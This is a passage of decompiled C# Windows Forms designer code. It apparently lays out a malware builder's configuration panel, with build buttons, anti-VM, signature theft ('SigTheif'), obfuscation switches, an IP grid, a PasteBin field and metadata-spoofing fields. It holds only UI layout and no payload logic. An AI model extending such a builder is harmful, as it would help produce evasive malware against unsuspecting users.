"metroLabel47"; + this.metroLabel47.Size = new Size(57, 19); + this.metroLabel47.Style = MetroColorStyle.Lime; + this.metroLabel47.TabIndex = 187; + this.metroLabel47.Text = "PasteBin"; + this.metroLabel47.Theme = MetroThemeStyle.Dark; + this.metroLabel47.UseStyleColors = true; + this.metroTextBoxPasteBin.CustomButton.Image = (Image) null; + this.metroTextBoxPasteBin.CustomButton.Location = new Point(178, 1); + this.metroTextBoxPasteBin.CustomButton.Name = ""; + this.metroTextBoxPasteBin.CustomButton.Size = new Size(21, 21); + this.metroTextBoxPasteBin.CustomButton.Style = MetroColorStyle.Blue; + this.metroTextBoxPasteBin.CustomButton.TabIndex = 1; + this.metroTextBoxPasteBin.CustomButton.Theme = MetroThemeStyle.Light; + this.metroTextBoxPasteBin.CustomButton.UseSelectable = true; + this.metroTextBoxPasteBin.CustomButton.Visible = false; + this.metroTextBoxPasteBin.Lines = new string[0]; + this.metroTextBoxPasteBin.Location = new Point(3, 324); + this.metroTextBoxPasteBin.MaxLength = (int) short.MaxValue; + this.metroTextBoxPasteBin.Name = "metroTextBoxPasteBin"; + this.metroTextBoxPasteBin.PasswordChar = char.MinValue; + this.metroTextBoxPasteBin.ScrollBars = ScrollBars.None; + this.metroTextBoxPasteBin.SelectedText = ""; + this.metroTextBoxPasteBin.SelectionLength = 0; + this.metroTextBoxPasteBin.SelectionStart = 0; + this.metroTextBoxPasteBin.ShortcutsEnabled = true; + this.metroTextBoxPasteBin.Size = new Size(200, 23); + this.metroTextBoxPasteBin.Style = MetroColorStyle.Lime; + this.metroTextBoxPasteBin.TabIndex = 186; + this.metroTextBoxPasteBin.Theme = MetroThemeStyle.Dark; + this.metroTextBoxPasteBin.UseSelectable = true; + this.metroTextBoxPasteBin.UseStyleColors = true; + this.metroTextBoxPasteBin.WaterMarkColor = Color.FromArgb(109, 109, 109); + this.metroTextBoxPasteBin.WaterMarkFont = new Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel); + this.metroButton6.Location = new Point(862, 82); + this.metroButton6.Name = "metroButton6"; + this.metroButton6.Size = new Size(89, 43); + this.metroButton6.Style = MetroColorStyle.Lime; + this.metroButton6.TabIndex = 185; + this.metroButton6.Text = "Build 10 "; + this.metroButton6.Theme = MetroThemeStyle.Dark; + this.metroButton6.UseSelectable = true; + this.metroButton6.UseStyleColors = true; + this.metroButton6.Click += new EventHandler(this.metroButton6_Click); + this.metroButton5.Location = new Point(862, 33); + this.metroButton5.Name = "metroButton5"; + this.metroButton5.Size = new Size(89, 45); + this.metroButton5.Style = MetroColorStyle.Lime; + this.metroButton5.TabIndex = 184; + this.metroButton5.Text = "Load json"; + this.metroButton5.Theme = MetroThemeStyle.Dark; + this.metroButton5.UseSelectable = true; + this.metroButton5.UseStyleColors = true; + this.metroButton5.Click += new EventHandler(this.metroButton5_Click); + this.metroButton4.Location = new Point(862, 6); + this.metroButton4.Name = "metroButton4"; + this.metroButton4.Size = new Size(89, 22); + this.metroButton4.Style = MetroColorStyle.Lime; + this.metroButton4.TabIndex = 183; + this.metroButton4.Text = "Save to json"; + this.metroButton4.Theme = MetroThemeStyle.Dark; + this.metroButton4.UseSelectable = true; + this.metroButton4.UseStyleColors = true; + this.metroButton4.Click += new EventHandler(this.metroButton4_Click); + this.CheckBoxSigTheif.AutoSize = true; + this.CheckBoxSigTheif.Location = new Point(947, 428); + this.CheckBoxSigTheif.Name = "CheckBoxSigTheif"; + this.CheckBoxSigTheif.Size = new Size(163, 15); + this.CheckBoxSigTheif.Style = MetroColorStyle.Lime; + this.CheckBoxSigTheif.TabIndex = 181; + this.CheckBoxSigTheif.Text = "Digital Signature (SigTheif)"; + this.CheckBoxSigTheif.Theme = MetroThemeStyle.Dark; + this.CheckBoxSigTheif.UseSelectable = true; + this.CheckBoxSigTheif.UseStyleColors = true; + this.ButtonSelectSigTheif.Location = new Point(947, 449); + this.ButtonSelectSigTheif.Name = "ButtonSelectSigTheif"; + this.ButtonSelectSigTheif.Size = new Size(106, 23); + this.ButtonSelectSigTheif.Style = MetroColorStyle.Lime; + this.ButtonSelectSigTheif.TabIndex = 182; + this.ButtonSelectSigTheif.Text = "Select App "; + this.ButtonSelectSigTheif.Theme = MetroThemeStyle.Dark; + this.ButtonSelectSigTheif.UseSelectable = true; + this.ButtonSelectSigTheif.UseStyleColors = true; + this.ButtonSelectSigTheif.Click += new EventHandler(this.ButtonSelectSigTheif_Click); + this.GridIps.AllowUserToAddRows = false; + this.GridIps.AllowUserToDeleteRows = false; + this.GridIps.AllowUserToResizeColumns = false; + this.GridIps.AllowUserToResizeRows = false; + this.GridIps.Anchor = AnchorStyles.Top | AnchorStyles.Bottom | AnchorStyles.Left; + this.GridIps.BackgroundColor = Color.FromArgb(17, 17, 17); + this.GridIps.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.GridIps.CellBorderStyle = DataGridViewCellBorderStyle.None; + this.GridIps.ColumnHeadersBorderStyle = DataGridViewHeaderBorderStyle.None; + gridViewCellStyle7.Alignment = DataGridViewContentAlignment.TopLeft; + gridViewCellStyle7.BackColor = Color.FromArgb(142, 188, 0); + gridViewCellStyle7.Font = new Font("Microsoft Sans Serif", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 204); + gridViewCellStyle7.ForeColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle7.SelectionBackColor = Color.FromArgb(142, 188, 0); + gridViewCellStyle7.SelectionForeColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle7.WrapMode = DataGridViewTriState.True; + this.GridIps.ColumnHeadersDefaultCellStyle = gridViewCellStyle7; + this.GridIps.ColumnHeadersHeightSizeMode = DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.GridIps.Cursor = Cursors.Default; + gridViewCellStyle8.Alignment = DataGridViewContentAlignment.MiddleLeft; + gridViewCellStyle8.BackColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle8.Font = new Font("Microsoft Sans Serif", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 204); + gridViewCellStyle8.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + gridViewCellStyle8.SelectionBackColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + gridViewCellStyle8.SelectionForeColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle8.WrapMode = DataGridViewTriState.False; + this.GridIps.DefaultCellStyle = gridViewCellStyle8; + this.GridIps.EnableHeadersVisualStyles = false; + this.GridIps.GridColor = Color.FromArgb(17, 17, 17); + this.GridIps.Location = new Point(3, 51); + this.GridIps.Name = "GridIps"; + this.GridIps.ReadOnly = true; + this.GridIps.RowHeadersBorderStyle = DataGridViewHeaderBorderStyle.None; + gridViewCellStyle9.Alignment = DataGridViewContentAlignment.MiddleLeft; + gridViewCellStyle9.BackColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle9.Font = new Font("Microsoft Sans Serif", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 204); + gridViewCellStyle9.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + gridViewCellStyle9.Padding = new Padding(1, 0, 0, 0); + gridViewCellStyle9.SelectionBackColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + gridViewCellStyle9.SelectionForeColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle9.WrapMode = DataGridViewTriState.True; + this.GridIps.RowHeadersDefaultCellStyle = gridViewCellStyle9; + this.GridIps.RowHeadersVisible = false; + this.GridIps.SelectionMode = DataGridViewSelectionMode.FullRowSelect; + this.GridIps.ShowCellErrors = false; + this.GridIps.ShowCellToolTips = false; + this.GridIps.ShowEditingIcon = false; + this.GridIps.ShowRowErrors = false; + this.GridIps.Size = new Size(200, 238); + this.GridIps.TabIndex = 180; + this.ProxyCall.AutoSize = true; + this.ProxyCall.Checked = true; + this.ProxyCall.CheckState = CheckState.Checked; + this.ProxyCall.Location = new Point(1239, 135); + this.ProxyCall.Name = "ProxyCall"; + this.ProxyCall.Size = new Size(120, 15); + this.ProxyCall.Style = MetroColorStyle.Lime; + this.ProxyCall.TabIndex = 179; + this.ProxyCall.Text = "ProxyCall CtrlFlow"; + this.ProxyCall.Theme = MetroThemeStyle.Dark; + this.ProxyCall.UseSelectable = true; + this.ProxyCall.UseStyleColors = true; + this.CheckBoxJumpCtrlFlow.AutoSize = true; + this.CheckBoxJumpCtrlFlow.Checked = true; + this.CheckBoxJumpCtrlFlow.CheckState = CheckState.Checked; + this.CheckBoxJumpCtrlFlow.Location = new Point(1131, 135); + this.CheckBoxJumpCtrlFlow.Name = "CheckBoxJumpCtrlFlow"; + this.CheckBoxJumpCtrlFlow.Size = new Size(102, 15); + this.CheckBoxJumpCtrlFlow.Style = MetroColorStyle.Lime; + this.CheckBoxJumpCtrlFlow.TabIndex = 178; + this.CheckBoxJumpCtrlFlow.Text = "Jump Ctrl Flow"; + this.CheckBoxJumpCtrlFlow.Theme = MetroThemeStyle.Dark; + this.CheckBoxJumpCtrlFlow.UseSelectable = true; + this.CheckBoxJumpCtrlFlow.UseStyleColors = true; + this.numericUpDown1.BackColor = Color.FromArgb(17, 17, 17); + this.numericUpDown1.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.numericUpDown1.ForeColor = Color.FromArgb(165, 219, 0); + this.numericUpDown1.Location = new Point(1178, 110); + this.numericUpDown1.Margin = new Padding(2); + this.numericUpDown1.Maximum = new Decimal(new int[4] + { + 5000, + 0, + 0, + 0 + }); + this.numericUpDown1.Minimum = new Decimal(new int[4] + { + 20, + 0, + 0, + 0 + }); + this.numericUpDown1.Name = "numericUpDown1"; + this.numericUpDown1.Size = new Size(67, 20); + this.numericUpDown1.TabIndex = 177; + this.numericUpDown1.TextAlign = HorizontalAlignment.Center; + this.numericUpDown1.UpDownAlign = LeftRightAlignment.Left; + this.numericUpDown1.Value = new Decimal(new int[4] + { + 300, + 0, + 0, + 0 + }); + this.ObfuscationJunkCode.AutoSize = true; + this.ObfuscationJunkCode.Checked = true; + this.ObfuscationJunkCode.CheckState = CheckState.Checked; + this.ObfuscationJunkCode.Location = new Point(1131, 55); + this.ObfuscationJunkCode.Name = "ObfuscationJunkCode"; + this.ObfuscationJunkCode.Size = new Size(152, 45); + this.ObfuscationJunkCode.Style = MetroColorStyle.Lime; + this.ObfuscationJunkCode.TabIndex = 176 /*0xB0*/; + this.ObfuscationJunkCode.Text = "Junk Code (Count Junk) \r\n |\r\n \\|/"; + this.ObfuscationJunkCode.Theme = MetroThemeStyle.Dark; + this.ObfuscationJunkCode.UseSelectable = true; + this.ObfuscationJunkCode.UseStyleColors = true; + this.ObfusctationArithmetic.AutoSize = true; + this.ObfusctationArithmetic.Checked = true; + this.ObfusctationArithmetic.CheckState = CheckState.Checked; + this.ObfusctationArithmetic.Location = new Point(1224, 8); + this.ObfusctationArithmetic.Name = "ObfusctationArithmetic"; + this.ObfusctationArithmetic.Size = new Size(79, 15); + this.ObfusctationArithmetic.Style = MetroColorStyle.Lime; + this.ObfusctationArithmetic.TabIndex = 175; + this.ObfusctationArithmetic.Text = "Arithmetic"; + this.ObfusctationArithmetic.Theme = MetroThemeStyle.Dark; + this.ObfusctationArithmetic.UseSelectable = true; + this.ObfusctationArithmetic.UseStyleColors = true; + this.CheckBoxProxyString.AutoSize = true; + this.CheckBoxProxyString.Checked = true; + this.CheckBoxProxyString.CheckState = CheckState.Checked; + this.CheckBoxProxyString.Location = new Point(1131, 8); + this.CheckBoxProxyString.Name = "CheckBoxProxyString"; + this.CheckBoxProxyString.Size = new Size(87, 15); + this.CheckBoxProxyString.Style = MetroColorStyle.Lime; + this.CheckBoxProxyString.TabIndex = 174; + this.CheckBoxProxyString.Text = "Proxy String"; + this.CheckBoxProxyString.Theme = MetroThemeStyle.Dark; + this.CheckBoxProxyString.UseSelectable = true; + this.CheckBoxProxyString.UseStyleColors = true; + this.metroButton3.Location = new Point(792, 6); + this.metroButton3.Name = "metroButton3"; + this.metroButton3.Size = new Size(64 /*0x40*/, 22); + this.metroButton3.Style = MetroColorStyle.Lime; + this.metroButton3.TabIndex = 173; + this.metroButton3.Text = "Save"; + this.metroButton3.Theme = MetroThemeStyle.Dark; + this.metroButton3.UseSelectable = true; + this.metroButton3.UseStyleColors = true; + this.metroButton3.Click += new EventHandler(this.metroButton3_Click_1); + this.metroButton2.Location = new Point(792, 34); + this.metroButton2.Name = "metroButton2"; + this.metroButton2.Size = new Size(64 /*0x40*/, 43); + this.metroButton2.Style = MetroColorStyle.Lime; + this.metroButton2.TabIndex = 172; + this.metroButton2.Text = "Build"; + this.metroButton2.Theme = MetroThemeStyle.Dark; + this.metroButton2.UseSelectable = true; + this.metroButton2.UseStyleColors = true; + this.metroButton2.Click += new EventHandler(this.metroButton2_Click_1); + this.CheckBoxRename.AutoSize = true; + this.CheckBoxRename.Checked = true; + this.CheckBoxRename.CheckState = CheckState.Checked; + this.CheckBoxRename.Location = new Point(1224, 33); + this.CheckBoxRename.Name = "CheckBoxRename"; + this.CheckBoxRename.Size = new Size(66, 15); + this.CheckBoxRename.Style = MetroColorStyle.Lime; + this.CheckBoxRename.TabIndex = 171; + this.CheckBoxRename.Text = "Rename"; + this.CheckBoxRename.Theme = MetroThemeStyle.Dark; + this.CheckBoxRename.UseSelectable = true; + this.CheckBoxRename.UseStyleColors = true; + this.CheckBoxAntiVirtual.AutoSize = true; + this.CheckBoxAntiVirtual.Location = new Point(601, 6); + this.CheckBoxAntiVirtual.Name = "CheckBoxAntiVirtual"; + this.CheckBoxAntiVirtual.Size = new Size(82, 15); + this.CheckBoxAntiVirtual.Style = MetroColorStyle.Lime; + this.CheckBoxAntiVirtual.TabIndex = 74; + this.CheckBoxAntiVirtual.Text = "Anti Virtual"; + this.CheckBoxAntiVirtual.Theme = MetroThemeStyle.Dark; + this.CheckBoxAntiVirtual.UseSelectable = true; + this.CheckBoxAntiVirtual.UseStyleColors = true; + this.CheckBoxCtrlFlow.AutoSize = true; + this.CheckBoxCtrlFlow.Checked = true; + this.CheckBoxCtrlFlow.CheckState = CheckState.Checked; + this.CheckBoxCtrlFlow.Location = new Point(1131, 29); + this.CheckBoxCtrlFlow.Name = "CheckBoxCtrlFlow"; + this.CheckBoxCtrlFlow.Size = new Size(70, 15); + this.CheckBoxCtrlFlow.Style = MetroColorStyle.Lime; + this.CheckBoxCtrlFlow.TabIndex = 170; + this.CheckBoxCtrlFlow.Text = "Ctrl Flow"; + this.CheckBoxCtrlFlow.Theme = MetroThemeStyle.Dark; + this.CheckBoxCtrlFlow.UseSelectable = true; + this.CheckBoxCtrlFlow.UseStyleColors = true; + this.TextBoxTaskSaveAdmin.CustomButton.Image = (Image) null; + this.TextBoxTaskSaveAdmin.CustomButton.Location = new Point(153, 1); + this.TextBoxTaskSaveAdmin.CustomButton.Name = ""; + this.TextBoxTaskSaveAdmin.CustomButton.Size = new Size(21, 21); + this.TextBoxTaskSaveAdmin.CustomButton.Style = MetroColorStyle.Blue; + this.TextBoxTaskSaveAdmin.CustomButton.TabIndex = 1; + this.TextBoxTaskSaveAdmin.CustomButton.Theme = MetroThemeStyle.Light; + this.TextBoxTaskSaveAdmin.CustomButton.UseSelectable = true; + this.TextBoxTaskSaveAdmin.CustomButton.Visible = false; + this.TextBoxTaskSaveAdmin.Lines = new string[0]; + this.TextBoxTaskSaveAdmin.Location = new Point(600, 26); + this.TextBoxTaskSaveAdmin.MaxLength = (int) short.MaxValue; + this.TextBoxTaskSaveAdmin.Name = "TextBoxTaskSaveAdmin"; + this.TextBoxTaskSaveAdmin.PasswordChar = char.MinValue; + this.TextBoxTaskSaveAdmin.ScrollBars = ScrollBars.None; + this.TextBoxTaskSaveAdmin.SelectedText = ""; + this.TextBoxTaskSaveAdmin.SelectionLength = 0; + this.TextBoxTaskSaveAdmin.SelectionStart = 0; + this.TextBoxTaskSaveAdmin.ShortcutsEnabled = true; + this.TextBoxTaskSaveAdmin.Size = new Size(175, 23); + this.TextBoxTaskSaveAdmin.Style = MetroColorStyle.Lime; + this.TextBoxTaskSaveAdmin.TabIndex = 168; + this.TextBoxTaskSaveAdmin.Theme = MetroThemeStyle.Dark; + this.TextBoxTaskSaveAdmin.UseSelectable = true; + this.TextBoxTaskSaveAdmin.UseStyleColors = true; + this.TextBoxTaskSaveAdmin.WaterMarkColor = Color.FromArgb(109, 109, 109); + this.TextBoxTaskSaveAdmin.WaterMarkFont = new Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel); + this.CheckBoxIco.AutoSize = true; + this.CheckBoxIco.Location = new Point(976, 132); + this.CheckBoxIco.Name = "CheckBoxIco"; + this.CheckBoxIco.Size = new Size(46, 15); + this.CheckBoxIco.Style = MetroColorStyle.Lime; + this.CheckBoxIco.TabIndex = 167; + this.CheckBoxIco.Text = "Icon"; + this.CheckBoxIco.Theme = MetroThemeStyle.Dark; + this.CheckBoxIco.UseSelectable = true; + this.CheckBoxIco.UseStyleColors = true; + this.CheckBoxAssembly.AutoSize = true; + this.CheckBoxAssembly.Location = new Point(1148, 414); + this.CheckBoxAssembly.Name = "CheckBoxAssembly"; + this.CheckBoxAssembly.Size = new Size(74, 15); + this.CheckBoxAssembly.Style = MetroColorStyle.Lime; + this.CheckBoxAssembly.TabIndex = 87; + this.CheckBoxAssembly.Text = "Assembly"; + this.CheckBoxAssembly.Theme = MetroThemeStyle.Dark; + this.CheckBoxAssembly.UseSelectable = true; + this.CheckBoxAssembly.UseStyleColors = true; + this.ButtonCopyAssembly.Location = new Point(1277, 406); + this.ButtonCopyAssembly.Name = "ButtonCopyAssembly"; + this.ButtonCopyAssembly.Size = new Size(64 /*0x40*/, 23); + this.ButtonCopyAssembly.Style = MetroColorStyle.Lime; + this.ButtonCopyAssembly.TabIndex = 166; + this.ButtonCopyAssembly.Text = "Copy"; + this.ButtonCopyAssembly.Theme = MetroThemeStyle.Dark; + this.ButtonCopyAssembly.UseSelectable = true; + this.ButtonCopyAssembly.UseStyleColors = true; + this.ButtonCopyAssembly.Click += new EventHandler(this.ButtonCopyAssembly_Click); + this.TextBoxFileVersion.CustomButton.Image = (Image) null; + this.TextBoxFileVersion.CustomButton.Location = new Point(171, 1); + this.TextBoxFileVersion.CustomButton.Name = ""; + this.TextBoxFileVersion.CustomButton.Size = new Size(21, 21); + this.TextBoxFileVersion.CustomButton.Style = MetroColorStyle.Blue; + this.TextBoxFileVersion.CustomButton.TabIndex = 1; + this.TextBoxFileVersion.CustomButton.Theme = MetroThemeStyle.Light; + this.TextBoxFileVersion.CustomButton.UseSelectable = true; + this.TextBoxFileVersion.CustomButton.Visible = false; + this.TextBoxFileVersion.Lines = new string[0]; + this.TextBoxFileVersion.Location = new Point(1148, 377); + this.TextBoxFileVersion.MaxLength = (int) short.MaxValue; + this.TextBoxFileVersion.Name = "TextBoxFileVersion"; + this.TextBoxFileVersion.PasswordChar = char.MinValue; + this.TextBoxFileVersion.ScrollBars = ScrollBars.None; + this.TextBoxFileVersion.SelectedText = ""; + this.TextBoxFileVersion.SelectionLength = 0; + this.TextBoxFileVersion.SelectionStart = 0; + this.TextBoxFileVersion.ShortcutsEnabled = true; + this.TextBoxFileVersion.Size = new Size(193, 23); + this.TextBoxFileVersion.Style = MetroColorStyle.Lime; + this.TextBoxFileVersion.TabIndex = 165; + this.TextBoxFileVersion.Theme = MetroThemeStyle.Dark; + this.TextBoxFileVersion.UseSelectable = true; + this.TextBoxFileVersion.UseStyleColors = true; + this.TextBoxFileVersion.WaterMarkColor = Color.FromArgb(109, 109, 109); + this.TextBoxFileVersion.WaterMarkFont = new Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel); + this.metroLabel37.AutoSize = true; + this.metroLabel37.Location = new Point(1011, 203); + this.metroLabel37.Margin = new Padding(2, 0, 2, 0); + this.metroLabel37.Name = "metroLabel37"; + this.metroLabel37.Size = new Size(129, 19); + this.metroLabel37.Style = MetroColorStyle.Lime; + this.metroLabel37.TabIndex = 164; + this.metroLabel37.Text = "Description ->"; + this.metroLabel37.Theme = MetroThemeStyle.Dark; + this.metroLabel37.UseStyleColors = true; + this.metroLabel38.AutoSize = true; + this.metroLabel38.Location = new Point(1011, 174); + this.metroLabel38.Margin = new Padding(2, 0, 2, 0); + this.metroLabel38.Name = "metroLabel38"; + this.metroLabel38.Size = new Size(130, 19); + this.metroLabel38.Style = MetroColorStyle.Lime; + this.metroLabel38.TabIndex = 163; + this.metroLabel38.Text = "Product ->"; + this.metroLabel38.Theme = MetroThemeStyle.Dark; + this.metroLabel38.UseStyleColors = true; + this.metroLabel39.AutoSize = true; + this.metroLabel39.Location = new Point(1011, 233); + this.metroLabel39.Margin = new Padding(2, 0, 2, 0); + this.metroLabel39.Name = "metroLabel39"; + this.metroLabel39.Size = new Size(129, 19); + this.metroLabel39.Style = MetroColorStyle.Lime; + this.metroLabel39.TabIndex = 162; + this.metroLabel39.Text = "Company ->"; + this.metroLabel39.Theme = MetroThemeStyle.Dark; + this.metroLabel39.UseStyleColors = true; + this.metroLabel40.AutoSize = true; + this.metroLabel40.Location = new Point(1011, 261); + this.metroLabel40.Margin = new Padding(2, 0, 2, 0); + this.metroLabel40.Name = "metroLabel40"; + this.metroLabel40.Size = new Size(130, 19); + this.metroLabel40.Style = MetroColorStyle.Lime; + this.metroLabel40.TabIndex = 161; + this.metroLabel40.Text = "Copyright ->"; + this.metroLabel40.Theme = MetroThemeStyle.Dark; + this.metroLabel40.UseStyleColors = true; + this.metroLabel41.AutoSize = true; + this.metroLabel41.Location = new Point(1011, 290); + this.metroLabel41.Margin = new Padding(2, 0, 2, 0); + this.metroLabel41.Name = "metroLabel41"; + this.metroLabel41.Size = new Size(131, 19); + this.metroLabel41.Style = MetroColorStyle.Lime; + this.metroLabel41.TabIndex = 160 /*0xA0*/; + this.metroLabel41.Text = "Trademarks ->"; + this.metroLabel41.Theme = MetroThemeStyle.Dark; + this.metroLabel41.UseStyleColors = true; + this.metroLabel42.AutoSize = true; + this.metroLabel42.Location = new Point(1011, 318); + this.metroLabel42.Margin = new Padding(2, 0, 2, 0); + this.metroLabel42.Name = "metroLabel42"; + this.metroLabel42.Size = new Size(132, 19); + this.metroLabel42.Style = MetroColorStyle.Lime; + this.metroLabel42.TabIndex = 159; + this.metroLabel42.Text = "Original Filename ->"; + this.metroLabel42.Theme = MetroThemeStyle.Dark; + this.metroLabel42.UseStyleColors = true; + this.metroLabel43.AutoSize = true; + this.metroLabel43.Location = new Point(1011, 348); + this.metroLabel43.Margin = new Padding(2, 0, 2, 0); + this.metroLabel43.Name = "metroLabel43"; + this.metroLabel43.Size = new Size(132, 19); + this.metroLabel43.Style = MetroColorStyle.Lime; + this.metroLabel43.TabIndex = 158; + this.metroLabel43.Text = "Product Version ->"; + this.metroLabel43.Theme = MetroThemeStyle.Dark; + this.metroLabel43.UseStyleColors = true; + this.metroLabel44.AutoSize = true; + this.metroLabel44.Location = new Point(1011, 381); + this.metroLabel44.Margin = new Padding(2, 0, 2, 0); + this.metroLabel44.Name = "metroLabel44"; + this.metroLabel44.Size = new Size(134, 19); + this.metroLabel44.Style = MetroColorStyle.Lime; + this.metroLabel44.TabIndex = 157; + this.metroLabel44.Text = "File Version ->"; + this.metroLabel44.Theme = MetroThemeStyle.Dark; + this.metroLabel44.UseStyleColors = true; + this.TextBoxProductVersion.CustomButton.Image = (Image) null; + this.TextBoxProductVersion.CustomButton.Location = new Point(171, 1); + this.TextBoxProductVersion.CustomButton.Name = ""; + this.TextBoxProductVersion.CustomButton.Size = new Size(21, 21); + this.TextBoxProductVersion.CustomButton.Style = MetroColorStyle.Blue; + this.TextBoxProductVersion.CustomButton.TabIndex = 1; + this.TextBoxProductVersion.CustomButton.Theme = MetroThemeStyle.Light; + this.TextBoxProductVersion.CustomButton.UseSelectable = true; + this.TextBoxProductVersion.CustomButton.Visible = false; + this.TextBoxProductVersion.Lines = new string[0]; + this.TextBoxProductVersion.Location = new Point(1148, 348); + this.TextBoxProductVersion.MaxLength = (int) short.MaxValue; + this.TextBoxProductVersion.Name = "TextBoxProductVersion"; + this.TextBoxProductVersion.PasswordChar = char.MinValue; + this.TextBoxProductVersion.ScrollBars = ScrollBars.None; + this.TextBoxProductVersion.SelectedText = ""; + this.TextBoxProductVersion.SelectionLength = 0; + this.TextBoxProductVersion.SelectionStart = 0; + this.TextBoxProductVersion.ShortcutsEnabled = true; + this.TextBoxProductVersion.Size = new Size(193, 23); + this.TextBoxProductVersion.Style = MetroColorStyle.Lime; + this.TextBoxProductVersion.TabIndex = 103; + this.TextBoxProductVersion.Theme = MetroThemeStyle.Dark; + this.TextBoxProductVersion.UseSelectable = true; + this.TextBoxProductVersion.UseStyleColors = true; + this.TextBoxProductVersion.WaterMarkColor = Color.FromArgb(109, 109, 109); + this.TextBoxProductVersion.WaterMarkFont = new Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel); + this.TextBoxOriginalFileName.CustomButton.Image = (Image) null; + this.TextBoxOriginalFileName.CustomButton.Location = new Point(171, 1); + this.TextBoxOriginalFileName.CustomButton.Name = ""; + this.TextBoxOriginalFileName.CustomButton.Size = new Size(21, 21); + this.TextBoxOriginalFileName.CustomButton.Style = MetroColorStyle.Blue; + this.TextBoxOriginalFileName.CustomButton.TabIndex = 1; + this.TextBoxOriginalFileName.CustomButton.Theme = MetroThemeStyle.Light; + this.TextBoxOriginalFileName.CustomButton.UseSelectable = true; + this.TextBoxOriginalFileName.CustomButton.Visible = false; + this.TextBoxOriginalFileName.Lines = new string[0]; + this.TextBoxOriginalFileName.Location = new Point(1148, 319); + this.TextBoxOriginalFileName.MaxLength = (int) short.MaxValue; + this.TextBoxOriginalFileName.Name = "TextBoxOriginalFileName"; + this.TextBoxOriginalFileName.PasswordChar = char.MinValue; + this.TextBoxOriginalFileName.ScrollBars = ScrollBars.None; + this.TextBoxOriginalFileName.SelectedText = ""; + this.TextBoxOriginalFileName.SelectionLength = 0; + this.TextBoxOriginalFileName.SelectionStart = 0; + this.TextBoxOriginalFileName.ShortcutsEnabled = true; + this.TextBoxOriginalFileName.Size = new Size(193, 23); + this.TextBoxOriginalFileName.Style = MetroColorStyle.Lime; + this.TextBoxOriginalFileName.TabIndex = 101; + this.TextBoxOriginalFileName.Theme = MetroThemeStyle.Dark; + this.TextBoxOriginalFileName.UseSelectable = true; + this.TextBoxOriginalFileName.UseStyleColors = true; + this.TextBoxOriginalFileName.WaterMarkColor = Color.FromArgb(109, 109, 109); + this.TextBoxOriginalFileName.WaterMarkFont = new Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel); + this.TextBoxTrademarks.CustomButton.Image = (Image) null; + this.TextBoxTrademarks.CustomButton.Location = new Point(171, 1); + this.TextBoxTrademarks.CustomButton.Name = ""; + this.TextBoxTrademarks.CustomButton.Size = new Size(21, 21); + this.TextBoxTrademarks.CustomButton.Style = MetroColorStyle.Blue; + this.TextBoxTrademarks.CustomButton.TabIndex = 1; + this.TextBoxTrademarks.CustomButton.Theme = MetroThemeStyle.Light; + this.TextBoxTrademarks.CustomButton.UseSelectable = true; + this.TextBoxTrademarks.CustomButton.Visible = false; + this.TextBoxTrademarks.Lines = new string[0]; + this.TextBoxTrademarks.Location = new Point(1148, 290); + this.TextBoxTrademarks.MaxLength = (int) short.MaxValue; + this.TextBoxTrademarks.Name = "TextBoxTrademarks"; + this.TextBoxTrademarks.PasswordChar = char.MinValue; + this.TextBoxTrademarks.ScrollBars = ScrollBars.None; + this.TextBoxTrademarks.SelectedText = ""; + this.TextBoxTrademarks.SelectionLength = 0; + this.TextBoxTrademarks.SelectionStart = 0; + this.TextBoxTrademarks.ShortcutsEnabled = true; + this.TextBoxTrademarks.Size = new Size(193, 23); + this.TextBoxTrademarks.Style = MetroColorStyle.Lime; + this.TextBoxTrademarks.TabIndex = 99; + this.TextBoxTrademarks.Theme = MetroThemeStyle.Dark; + this.TextBoxTrademarks.UseSelectable = true; + this.TextBoxTrademarks.UseStyleColors = true; + this.TextBoxTrademarks.WaterMarkColor = Color.FromArgb(109, 109, 109); + this.TextBoxTrademarks.WaterMarkFont = new Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel); + this.TextBoxCopyright.CustomButton.Image = (Image) null; + this.TextBoxCopyright.CustomButton.Location = new Point(171, 1); + this.TextBoxCopyright.CustomButton.Name = ""; + this.TextBoxCopyright.CustomButton.Size = new Size(21, 21); + this.TextBoxCopyright.CustomButton.Style = MetroColorStyle.Blue; + this.TextBoxCopyright.CustomButton.TabIndex = 1; + this.TextBoxCopyright.CustomButton.Theme = MetroThemeStyle.Light; + this.TextBoxCopyright.CustomButton.UseSelectable = true; + this.TextBoxCopyright.CustomButton.Visible = false; + this.TextBoxCopyright.Lines = new string[0]; + this.TextBoxCopyright.Location = new Point(1148, 261); + this.TextBoxCopyright.MaxLength = (int) short.MaxValue; + this.TextBoxCopyright.Name = "TextBoxCopyright"; + this.TextBoxCopyright.PasswordChar = char.MinValue; + this.TextBoxCopyright.ScrollBars = ScrollBars.None; + this.TextBoxCopyright.SelectedText = ""; + this.TextBoxCopyright.SelectionLength = 0; + this.TextBoxCopyright.SelectionStart = 0; + this.TextBoxCopyright.ShortcutsEnabled = true; + this.TextBoxCopyright.Size = new Size(193, 23); + this.TextBoxCopyright.Style = MetroColorStyle.Lime; + this.TextBoxCopyright.TabIndex = 97; + this.TextBoxCopyright.Theme = MetroThemeStyle.Dark; + this.TextBoxCopyright.UseSelectable = true; + this.TextBoxCopyright.UseStyleColors = true; + this.TextBoxCopyright.WaterMarkColor = Color.FromArgb(109, 109, 109); + this.TextBoxCopyright.WaterMarkFont = new Font("Segoe UI", 12f, FontStyle.Italic, 